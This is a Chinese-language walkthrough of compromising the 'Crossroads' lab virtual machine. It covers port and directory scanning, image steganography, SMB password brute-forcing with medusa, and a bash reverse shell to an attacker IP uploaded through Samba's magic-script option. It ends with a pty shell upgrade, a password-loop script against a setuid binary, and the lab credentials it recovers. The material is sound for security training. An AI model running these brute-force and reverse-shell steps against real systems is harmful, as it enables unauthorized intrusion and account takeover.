信息收集
寻找目标靶机地址
其中1.1是网关地址,所以目标靶机就是1.147
端口扫描
找到目标靶机之后下一步就是进行端口全面扫描
nmap -p 1-65535 -A 192.168.1.147 -sV -T4
看到常见的80端口,顺便访问
发现这个靶机开启了smb服务,可以把这个服务当成文件共享服务。
网页信息
渗透开始
扫描目录
dirsearch -u http://192.168.1.147
发现robots.txt,直接查看
发现一张图片,继续查看
将图片下载下来
sudo curl -o /home/kali/Desktop/crossroads.png http://192.168.1.147/crossroads.png
图片信息爆破
kali中进行基础binwalk提取
隐藏的 Zlib 压缩数据可能格式异常,或者在文件中嵌入的方式不符合 binwalk
支持的常规格式,从而使 binwalk
无法正确提取。
隐写
寻找是否有隐写,首先需要下载工具stegoveritas
pip3 install stegoveritas
stegoveritas_install_deps
两步下载,成功之后查看图片信息
生成一个新的文件夹:results查看一下
所有的目录都看了一下并没有发现啥呢么有用的东西。
smb
尝试看看smb,用enum4linux命令,
在 Linux 系统下用于枚举 SMB 服务信息,它可以收集目标主机上的用户、组、共享文件夹等信息。
enum4linux -a 192.168.1.117
发现共享目录smbshare
并且发现一个账户albert
使用medusa工具进行smb密码爆破
medusa -h 192.168.1.147 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt
得到密码bradley1
漏洞利用
登录smb服务
smbclient //192.168.1.147/smbshare/ -U albert%bradley1
登陆成功,也可以从文件夹登录
smb://192.168.1.147
进入smbshare
使用get命令将配置文件下载到kali查看
magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件。
上传shell脚本
bash -c 'bash -i >&/dev/tcp/192.168.1.118/8888 0>&1'
打开监听,上传脚本,实现连接。(先开监听再将脚本拖进去就好了)
nc -lvp 8888
监听成功之后
拿到我们albert普通用户权限
提权
生成交互式shell
交互式shell通常用于在受限的 shell 环境(例如反向 shell 或受限 shell)中,升级到一个完全交互式的 shell。它可以启用作业控制、Tab 补全以及更好的终端信号处理等功能。
python -c "import pty;pty.spawn('/bin/bash');"
1/2flag
我们发现所在的是smbshare共享文件夹,接着我们返回上一层看一下,发现user.txt,进入之后发现一半flag
爆破图片隐写
并且再次发现crossroads.png这张图片,使用smb连接进albert目录,使用get命令下载图片
smbclient //192.168.1.147/albert/ -U albert%bradley1
get crossroads.png
将这个图片下载下来并且使用隐写工具stegoveritas将其内容提出
提出的内容会在results文件夹下,查看里面的东西
第一个文件就是密码本
为了方便给他变成pass.txt文件
返回上层还有个beroot文件,运行发现需要密码
用到上面的密码本,并写一个爆破脚本pass
#!/bin/bash
# 检查 pass.txt 文件是否存在
if [ ! -f "pass.txt" ]; then
echo "Error: pass.txt file not found."
exit 1
fi
# 使用 while 循环逐行读取 pass.txt 文件
while IFS= read -r pass; do
# 使用 printf 传递密码给 ./beroot 程序
printf "%s\n" "$pass" | ./beroot
# 检查 ./beroot 程序的返回状态码
if [ $? -ne 0 ]; then
echo "Error: Failed to execute ./beroot with password: $pass"
fi
done < pass.txt
将脚本和密码本都上传到smb服务上,再移动到albert路径下(拖进共享文件夹)
进入root
运行pass脚本
./pass
发现多了一个rootcreds文件,cat查看,爆出了账号root密码___drifting___
成功进入root